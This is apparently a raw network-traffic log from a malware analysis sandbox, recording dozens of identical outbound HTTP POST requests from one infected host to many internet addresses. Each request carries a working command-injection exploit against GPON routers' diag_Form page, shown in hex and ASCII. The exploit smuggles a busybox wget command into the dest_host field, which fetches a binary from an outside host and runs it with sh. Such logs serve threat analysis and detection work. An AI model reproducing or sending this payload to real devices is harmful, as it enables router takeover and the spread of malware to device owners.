Apr 14, 2024 03:59:56.180085897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.23	53454	148.10.26.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180156946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.23	55294	117.30.201.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180166006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.23	53204	109.241.236.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180198908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.23	37482	37.129.119.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180258036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.23	40914	178.126.169.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180258989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.23	35724	2.3.148.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180291891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.23	37350	123.154.100.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180357933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.23	60734	109.9.22.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180515051 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.23	43722	5.78.144.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180515051 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.23	58946	148.71.106.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180557013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.23	37202	42.9.39.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180603027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.23	51560	117.52.74.221	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180624008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.23	47384	210.223.189.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180689096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.23	45010	212.17.224.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180696964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.23	52690	118.195.121.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180732012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.23	48670	42.17.155.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180795908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.23	41250	118.97.106.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180811882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.23	54490	37.213.97.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180838108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.23	45264	79.236.105.69	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180875063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.23	41676	94.241.14.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180963993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.23	49772	117.108.228.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180970907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.23	33738	118.123.141.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.180995941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.23	50234	79.121.252.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181005955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.23	53642	148.162.98.138	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181061983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.23	38322	178.33.208.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.181152105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
